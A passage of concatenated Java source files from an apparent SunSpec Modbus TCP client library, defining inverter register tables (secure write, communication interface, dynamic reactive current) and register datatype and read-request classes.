init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 79, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val77 extends RegisterUint16 { public Val77(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 80, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val78 extends RegisterUint16 { public Val78(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 81, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val79 extends RegisterUint16 { public Val79(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 82, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val80 extends RegisterUint16 { public Val80(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 83, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Ts extends RegisterUint32 { public Ts(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 84, 2, "Timestamp", "", "Timestamp value is the number of seconds since January 1, 2000", Rw.RW, Mandatory.M); } } public static class Ms extends RegisterUint16 { public Ms(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 86, 1, "Milliseconds", "", "Millisecond counter 0-999", Rw.RW, Mandatory.M); } } public static class Seq extends RegisterUint16 { public Seq(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 87, 1, "Sequence", "", "Sequence number of request", Rw.RW, Mandatory.M); } } public static class Role extends RegisterUint16 { public Role(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 88, 1, "Role", "", "Signing key used 0-5", Rw.RW, Mandatory.M); } } public static class Rsrvd extends RegisterPad { public Rsrvd(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 89, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Alg extends RegisterEnum16 { public Alg(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 90, 1, "Algorithm", "", "Algorithm used to compute the digital signature", Rw.RW, Mandatory.M); hashtable.put((long) 0, "NONE"); hashtable.put((long) 1, "AES-GMAC-64"); hashtable.put((long) 2, "ECC-256"); } } public static class N extends RegisterUint16 { public N(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 91, 1, "N", "", "Number of registers comprising the digital signature.", Rw.RW, Mandatory.M); } } public static class DS extends RegisterUint16 { public DS(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 92, 1, "DS", "", "Digital Signature", Rw.RW, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.modbus.datatype; import java.text.DecimalFormat; import java.text.NumberFormat; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.sunspec.datatype.RetepDouble; import static java.lang.Math.pow; /** * @author Peter */ public class RegisterDouble extends Read0X03 implements RetepDouble { private RegisterSunssf scaleFactorMEssage = null; { setNanValue(new byte[]{(byte) 0X80, (byte) 0X00}); setUnsigned(false); } /** * @param scaleFactorMEssage */ protected void setScaleFactorMessage(RegisterSunssf scaleFactorMEssage) { this.scaleFactorMEssage = scaleFactorMEssage; } /** * @return */ @Override public double toDouble() { return (pow(10, scaleFactorMEssage.toLong()) * toLong()); } @Override public String toString() { if (scaleFactorMEssage.isNaN()) { return "NaN"; } NumberFormat formatter = new DecimalFormat("#0.00"); return isNaN() ? "NaN" : "" + formatter.format(toDouble()); } /** * @return */ @Override public RetepDouble toRetepDouble() { return this; } @Override public boolean isNaN() { return super.isNaN()||(scaleFactorMEssage.isNaN()); } public byte[] getRandData() { return new byte[]{(byte)(((int)(Math.random()*128))&0xFF),(byte)(((int)(Math.random()*256))&0xFF),(byte)(((int)(Math.random()*256))&0xFF),(byte)(((int)(Math.random()*256))&0xFF)}; } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterPad; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; public class Table0010CommunicationInterfaceHeader extends Table { private ID communicationInterfaceHeader00ID; private L communicationInterfaceHeader01L; private St communicationInterfaceHeader02St; private Ctl communicationInterfaceHeader03Ctl; private Typ communicationInterfaceHeader04Typ; private Pad communicationInterfaceHeader05Pad; public Table0010CommunicationInterfaceHeader(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 0, 6, "Communication Interface Header Modell", "", "Communication Interface Header Modell ", Rw.R, Mandatory.M); communicationInterfaceHeader00ID = new ID(tcpModbusHandler); communicationInterfaceHeader01L = new L(tcpModbusHandler); communicationInterfaceHeader02St = new St(tcpModbusHandler); communicationInterfaceHeader03Ctl = new Ctl(tcpModbusHandler); communicationInterfaceHeader04Typ = new Typ(tcpModbusHandler); communicationInterfaceHeader05Pad = new Pad(tcpModbusHandler); vector.add(communicationInterfaceHeader00ID); vector.add(communicationInterfaceHeader01L); vector.add(communicationInterfaceHeader02St); vector.add(communicationInterfaceHeader03Ctl); vector.add(communicationInterfaceHeader04Typ); vector.add(communicationInterfaceHeader05Pad); } public RetepEnum getID() { return communicationInterfaceHeader00ID; } public RetepLong getL() { return communicationInterfaceHeader01L; } public RetepEnum getSt() { return communicationInterfaceHeader02St; } public RetepLong getCtl() { return communicationInterfaceHeader03Ctl; } public RetepEnum getTyp() { return communicationInterfaceHeader04Typ; } public RetepLong getPad() { return communicationInterfaceHeader05Pad; } public class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 0, 1, "Model", "", "To be included first for a complete interface description", Rw.R, Mandatory.M); hashtable.put((long) 9, "SunSpec Set Operator Security Certificate"); } } public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public class St extends RegisterEnum16 { public St(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 2, 1, "Interface Status", "", "Overall interface status", Rw.R, Mandatory.M); hashtable.put((long) 0, "DOWN"); hashtable.put((long) 1, "UP"); hashtable.put((long) 2, "FAULT"); } } public class Ctl extends RegisterUint16 { public Ctl(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 3, 1, "Interface Control", "", "Overall interface control (TBD)", Rw.RW, Mandatory.O); } } public class Typ extends RegisterEnum16 { public Typ(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 4, 1, "Physical Access Type", "", "Enumerated value. Type of physical media", Rw.R, Mandatory.O); hashtable.put((long) 0, "UNKNOWN"); hashtable.put((long) 1, "INTERNAL"); hashtable.put((long) 2, "TWISTED_PAIR"); hashtable.put((long) 3, "FIBER"); hashtable.put((long) 4, "WIRELESS"); } } public class Pad extends RegisterPad { public Pad(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getCommunicationInterfaceHeader_10(), 5, 1, "", "", "", Rw.R, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.modbus.datatype; import java.util.Enumeration; import java.util.Hashtable; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.sunspec.datatype.RetepEnum; /** * @author Peter */ public class RegisterEnum16 extends Read0X03 implements RetepEnum { /** * */ protected final Hashtable<Long, String> hashtable = new Hashtable<>(); { setNanValue(new byte[]{(byte) 0XFF, (byte) 0XFF}); setUnsigned(true); } /** * @return */ @Override public String getStatus() { String ret = hashtable.get(toLong()); if (ret == null) { ret = "" + toLong(); } return isNaN() ? "NaN" : ret; } @Override public String toString() { return getStatus(); } /** * @return */ @Override public RetepEnum toRetepEnum() { return this; } public byte[] getRandData() { int size=hashtable.size(); Enumeration<Long> enumeration=hashtable.keys(); Long aLong=null; for (int i=0;i<(Math.random()*size);i++){ aLong=enumeration.nextElement(); } return new byte[]{(byte)(0),(byte)(((aLong != null ? aLong.intValue() : 0))&0xFF)}; }} <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterBitfield16; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterPad; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.RegisterUDouble; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepDouble; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0128DynamicReactiveCurrent extends Table { private ID dynamicReactiveCurrent00ID; private L dynamicReactiveCurrent01L; private ArGra_SF dynamicReactiveCurrent13ArGra_SF; private VRefPct_SF dynamicReactiveCurrent14VRefPct_SF; private ArGraMod dynamicReactiveCurrent02ArGraMod; private ArGraSag dynamicReactiveCurrent03ArGraSag; private ArGraSwell dynamicReactiveCurrent04ArGraSwell; private ModEna dynamicReactiveCurrent05ModEna; private FilTms dynamicReactiveCurrent06FilTms; private DbVMin dynamicReactiveCurrent07DbVMin; private DbVMax dynamicReactiveCurrent08DbVMax; private BlkZnV dynamicReactiveCurrent09BlkZnV; private HysBlkZnV dynamicReactiveCurrent10HysBlkZnV; private BlkZnTmms dynamicReactiveCurrent11BlkZnTmms; private HoldTmms dynamicReactiveCurrent12HoldTmms; private Pad dynamicReactiveCurrent15Pad; public Table0128DynamicReactiveCurrent(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 0, 16, "Dynamic Reactive Current", "", "Dynamic Reactive Current", Rw.R, Mandatory.M); dynamicReactiveCurrent00ID = new ID(tcpModbusHandler); dynamicReactiveCurrent01L = new L(tcpModbusHandler); dynamicReactiveCurrent13ArGra_SF = new ArGra_SF(tcpModbusHandler); dynamicReactiveCurrent14VRefPct_SF = new VRefPct_SF(tcpModbusHandler); dynamicReactiveCurrent02ArGraMod = new ArGraMod(tcpModbusHandler); dynamicReactiveCurrent03ArGraSag = new ArGraSag(dynamicReactiveCurrent13ArGra_SF, tcpModbusHandler); dynamicReactiveCurrent04ArGraSwell = new ArGraSwell(dynamicReactiveCurrent13ArGra_SF, tcpModbusHandler); dynamicReactiveCurrent05ModEna = new ModEna(tcpModbusHandler); dynamicReactiveCurrent06FilTms = new FilTms(tcpModbusHandler); dynamicReactiveCurrent07DbVMin = new DbVMin(dynamicReactiveCurrent14VRefPct_SF, tcpModbusHandler); dynamicReactiveCurrent08DbVMax = new DbVMax(dynamicReactiveCurrent14VRefPct_SF, tcpModbusHandler); dynamicReactiveCurrent09BlkZnV = new BlkZnV(dynamicReactiveCurrent14VRefPct_SF, tcpModbusHandler); dynamicReactiveCurrent10HysBlkZnV = new HysBlkZnV(dynamicReactiveCurrent14VRefPct_SF, tcpModbusHandler); dynamicReactiveCurrent11BlkZnTmms = new BlkZnTmms(tcpModbusHandler); dynamicReactiveCurrent12HoldTmms = new HoldTmms(tcpModbusHandler); dynamicReactiveCurrent15Pad = new Pad(tcpModbusHandler); vector.add(dynamicReactiveCurrent00ID); vector.add(dynamicReactiveCurrent01L); vector.add(dynamicReactiveCurrent13ArGra_SF); vector.add(dynamicReactiveCurrent14VRefPct_SF); vector.add(dynamicReactiveCurrent02ArGraMod); vector.add(dynamicReactiveCurrent03ArGraSag); vector.add(dynamicReactiveCurrent04ArGraSwell); vector.add(dynamicReactiveCurrent05ModEna); vector.add(dynamicReactiveCurrent06FilTms); vector.add(dynamicReactiveCurrent07DbVMin); vector.add(dynamicReactiveCurrent08DbVMax); vector.add(dynamicReactiveCurrent09BlkZnV); vector.add(dynamicReactiveCurrent10HysBlkZnV); vector.add(dynamicReactiveCurrent11BlkZnTmms); vector.add(dynamicReactiveCurrent12HoldTmms); vector.add(dynamicReactiveCurrent15Pad); } /** * @return */ public RetepEnum getID() { return dynamicReactiveCurrent00ID; } /** * @return */ public RetepLong getL() { return dynamicReactiveCurrent01L; } /** * @return */ public RetepEnum getArGraMod() { return dynamicReactiveCurrent02ArGraMod; } /** * @return */ public RetepDouble getArGraSag() { return dynamicReactiveCurrent03ArGraSag; } /** * @return */ public RetepDouble getArGraSwell() { return dynamicReactiveCurrent04ArGraSwell; } /** * @return */ public RetepBitMask getModEna() { return dynamicReactiveCurrent05ModEna; } /** * @return */ public RetepLong getFilTms() { return dynamicReactiveCurrent06FilTms; } /** * @return */ public RetepDouble getDbVMin() { return dynamicReactiveCurrent07DbVMin; } /** * @return */ public RetepDouble getDbVMax() { return dynamicReactiveCurrent08DbVMax; } /** * @return */ public RetepDouble getBlkZnV() { return dynamicReactiveCurrent09BlkZnV; } /** * @return */ public RetepDouble getHysBlkZnV() { return dynamicReactiveCurrent10HysBlkZnV; } /** * @return */ public RetepLong getBlkZnTmms() { return dynamicReactiveCurrent11BlkZnTmms; } /** * @return */ public RetepLong getHoldTmms() { return dynamicReactiveCurrent12HoldTmms; } /** * @return */ public RetepLong getArGra_SF() { return dynamicReactiveCurrent13ArGra_SF; } /** * @return */ public RetepLong geVRefPct_SF() { return dynamicReactiveCurrent14VRefPct_SF; } /** * @return */ public RetepLong getPad() { return dynamicReactiveCurrent15Pad; } /** * */ public class ID extends RegisterEnum16 { private ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 0, 1, "Model", "", "Dynamic Reactive Current ", Rw.R, Mandatory.M); hashtable.put((long) 128, "SunSpec Dynamic Reactive Current"); } } /** * */ public class L extends RegisterUint16 { private L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } /** * */ public class ArGraMod extends RegisterEnum16 { private ArGraMod(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 2, 1, "ArGraMod", "", "Indicates if gradients trend toward zero at the edges of the deadband or trend toward zero at the center of the deadband.", Rw.RW, Mandatory.M); hashtable.put((long) 0, "EDGE"); hashtable.put((long) 1, "CENTER"); } } /** * */ public class ArGraSag extends RegisterUDouble { /** * @param aScalFactor */ public ArGraSag(ArGra_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 3, 1, "ArGraSag", "%ARtg/%dV", "The gradient used to increase capacitive dynamic current. A value of 0 indicates no additional reactive current support.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class ArGraSwell extends RegisterUDouble { /** * @param aScalFactor */ public ArGraSwell(ArGra_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 4, 1, "ArGraSwell", "%ARtg/%dV", "The gradient used to increase inductive dynamic current. A value of 0 indicates no additional reactive current support.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class ModEna extends RegisterBitfield16 { private ModEna(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 5, 1, "ModEna", "", "Activate dynamic reactive current model", Rw.RW, Mandatory.M); hashtable.put((long) 0, "ENABLED"); } } /** * */ public class FilTms extends RegisterUint16 { private FilTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 6, 1, "FilTms", "Secs", "The time window used to calculate the moving average voltage.", Rw.RW, Mandatory.O); } } /** * */ public class DbVMin extends RegisterUDouble { /** * @param aScalFactor */ public DbVMin(VRefPct_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 7, 1, "DbVMin", "% VRef", "The lower delta voltage limit for which negative voltage deviations less than this value no dynamic vars are produced.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class DbVMax extends RegisterUDouble { /** * @param aScalFactor */ public DbVMax(VRefPct_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 8, 1, "DbVMax", "% VRef", "The upper delta voltage limit for which positive voltage deviations less than this value no dynamic current produced.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class BlkZnV extends RegisterUDouble { /** * @param aScalFactor */ public BlkZnV(VRefPct_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 9, 1, "BlkZnV", "% VRef", "Block zone voltage which defines a lower voltage boundary below which no dynamic current is produced.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class HysBlkZnV extends RegisterUDouble { /** * @param aScalFactor */ public HysBlkZnV(VRefPct_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 10, 1, "HysBlkZnV", "% VRef", "Hysteresis voltage used with BlkZnV.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class BlkZnTmms extends RegisterUint16 { private BlkZnTmms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 11, 1, "BlkZnTmms", "mSecs", "Block zone time the time before which reactive current support remains active regardless of how low the voltage drops.", Rw.RW, Mandatory.O); } } /** * */ public class HoldTmms extends RegisterUint16 { private HoldTmms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 12, 1, "HoldTmms", "mSecs", "Hold time during which reactive current support continues after the average voltage has entered the dead zone.", Rw.RW, Mandatory.O); } } /** * */ public class ArGra_SF extends RegisterSunssf { private ArGra_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 13, 1, "ArGra_SF", "", "Scale factor for the gradients.", Rw.R, Mandatory.M); } } /** * */ public class VRefPct_SF extends RegisterSunssf { private VRefPct_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 14, 1, "VRefPct_SF", "", "Scale factor for the voltage zone and limit settings.", Rw.R, Mandatory.O); } } /** * */ public class Pad extends RegisterPad { private Pad(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getDynamicReactiveCurrent_128(), 15, 1, "Pad", "", "Pad", Rw.R, Mandatory.O); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.modbus; import static java.lang.System.out; /** * @author Peter */ public class Read0X2B extends Header { { functionCode = 0x2B; unitIdentifier = (byte) 0xFF; } /** * @return */ @Override public byte[] getData() { byte[] bs = super.getData(); bs[8] = 0X0E; bs[9] = 0X01; bs[10] = 0x00; return bs; } @Override public void doOnResponse() { print(); } @Override protected void setResponseInit(byte[] b) { //init the Response is use by the Table } protected void print() { out.println(""); out.println("Transaction Identifier :" + getTransactionIdentifier()); out.println("Protocol Identifier :" + getProtocolIdentifier()); out.println("Length " + getLength()); out.println("Unit Identifier :" + getUnitIdentifier()); out.println("Function Code :" + getFunctionCode()); out.println("ByteCount :" + getByteCount()); } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.modbus; import ch.retep.relleum.sunspec.datatype.Retep; import static java.lang.System.out; /** * @author Peter */ public class Read0X03 extends Header implements Retep { private static boolean noOutput=false; /** * */ protected boolean outpuBig = true; /** * */ private String unit = ""; private String name = ""; private Rw rw; private Mandatory mandatory; private String description; { functionCode = (byte) 0x03; unitIdentifier = (byte) 0x7E; } public static void setNoOutput(boolean aNoOutput){ noOutput=aNoOutput; } /** * @param alabel * @param offset * @param quantityOfRegisters * @param name * @param unit * @param description * @param rw * @param mandatory */ public void init(int alabel, int offset, int quantityOfRegisters, String name, String unit, String description, Rw rw, Mandatory mandatory) { this.setQuantityOfRegisters(quantityOfRegisters); init2(alabel,offset, name, unit, description, rw, mandatory); } protected void init2(int alabel, int offset, String name, String unit, String description, Rw rw, Mandatory mandatory) { this.label = alabel; this.offset = offset; this.setStartingAddress(label + offset - 1); this.name = name; this.unit = unit; this.rw = rw; this.mandatory = mandatory; this.description = description; } /** * @return */ @Override public byte[] getData() { byte[] bs = super.getData(); bs[8] = (byte) (0xff & (getStartingAddress() >> 8)); bs[9] = (byte) (0xff & getStartingAddress()); //Quantity of Registers bs[10] = (byte) (0xff & (getQuantityOfRegisters() >> 8)); bs[11] = (byte) (0xff & getQuantityOfRegisters()); return bs; } /** * @param bArry */ public void setResponse2(byte[] bArry) { byte[] bb = new byte[getQuantityOfRegisters() * 2 + offsetRegister]; System.arraycopy(bArry, offset * 2 + offsetRegister, bb, offsetRegister, bb.length - 9); this.setB(bb); } /** * */ protected void print() { if (outpuBig) { out.println(""); out.println("Transaction Identifier :" + getTransactionIdentifier()); out.println("Protocol Identifier :" + getProtocolIdentifier()); out.println("Length " + getLength()); out.println("Unit Identifier :" + getUnitIdentifier()); out.println("Function Code :" + getFunctionCode()); out.println("ByteCount :" + getByteCount()); } if (!noOutput) { String string = (getStartingAddress() + 1) + " " + getName() + " :"; StringBuilder buf = new StringBuilder(); for (int i = string.length(); i < 60; i++) { buf.append(" "); } string = string + buf; out.println(string + toString() + " " + getUnit()); } } /** * */ @Override public void doOnResponse() { print(); } /** * @param b */ @Override protected void setResponseInit(byte[] b) { //init the Response is use by the Table } /** * @return */ @Override public String getUnit() { return unit; } /** * @return */ @Override public String getName() { return name; } /** * @return */ @Override public Rw getRw() { return rw; } /** * @return */ @Override public Mandatory getMandatory() { return mandatory; } /** * @return */ @Override public String getDescription() { return description; } /** * */ public enum Rw { /** * */ nan, /** * */ R, /** * */ RW } /** * */ public enum Mandatory { /** * */ nan, /** * */ M, /** * */ O } @Override public byte[] getRandData() { return new byte[0]; } } <file_sep>/* * Copyright © 2017 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec; import ch.retep.relleum.modbus.TcpHandler; /** * Created by Peter on 15.02.2017. */ public class SunSpecVariables extends TcpHandler { /** * */ protected int common_1 = 0; /** * */ protected int basicAggregator_2 = 0; /** * */ protected int secureDatasetReadRequest_3 = 0; /** * */ protected int secureDatasetReadResponse_4 = 0; /** * */ protected int secureWriteRequest_5 = 0; /** * */ protected int secureWriteSequentialRequest_6 = 0; /** * */ protected int secureWriteResponseModelDRAFT1_7 = 0; /** * */ protected int getDeviceSecurityCertificate_8 = 0; /** * */ protected int setOperatorSecurityCertificate_9 = 0; /** * */ protected int communicationInterfaceHeader_10 = 0; /** * */ protected int ethernetLinkLayer_11 = 0; /** * */ protected int iPv4_12 = 0; /** * */ protected int iPv6_13 = 0; /** * */ protected int proxyServer_14 = 0; /** * */ protected int interfaceCountersModel_15 = 0; /** * */ protected int simpleIPNetwork_16 = 0; /** * */ protected int serialInterface_17 = 0; /** * */ protected int CcellularLink_18 = 0; /** * */ protected int pPPLink_19 = 0; /** * */ protected int inverterSinglePhase_101 = 0; /** * */ protected int inverterSplitPhase_102 = 0; /** * */ protected int inverterThreePhase_103 = 0; /** * */ protected int inverterSinglePhaseFLOAT_111 = 0; /** * */ protected int inverterSplitPhaseFLOAT_112 = 0; /** * */ protected int inverterThreePhaseFLOAT_113 = 0; /** * */ protected int nameplate_120 = 0; /** * */ protected int basicSettings_121 = 0; /** * */ protected int measurementsStatus_122 = 0; /** * */ protected int immediateControls_123 = 0; /** * */ protected int storage_124 = 0; /** * */ protected int pricing_125 = 0; /** * */ protected int voltVAR_126 = 0; /** * */ protected int freqWattParam_127 = 0; /** * */ protected int dynamicReactiveCurrent_128 = 0; /** * */ protected int lVRTD_129 = 0; /** * */ protected int hVRTD_130 = 0; /** * */ protected int wattPF_131 = 0; /** * */ protected int voltWatt_132 = 0; /** * */ protected int basicScheduling_133 = 0; /** * */ protected int freqWattCrv_134 = 0; /** * */ protected int lFRT_135 = 0; /** * */ protected int hFRT_136 = 0; /** * */ protected int lVRTC_137 = 0; /** * */ protected int hVRTC_138 = 0; /** * */ protected int lVRTX_139 = 0; /** * */ protected int hVRTX_140 = 0; /** * */ protected int lFRTC_141 = 0; /** * */ protected int hFRTC_142 = 0; /** * */ protected int lFRTX_143 = 0; /** * */ protected int lFRTX_144 = 0; /** * */ protected int extendedSettings_145 = 0; /** * */ protected int multipleMPPTInverterExtensionModel_160 = 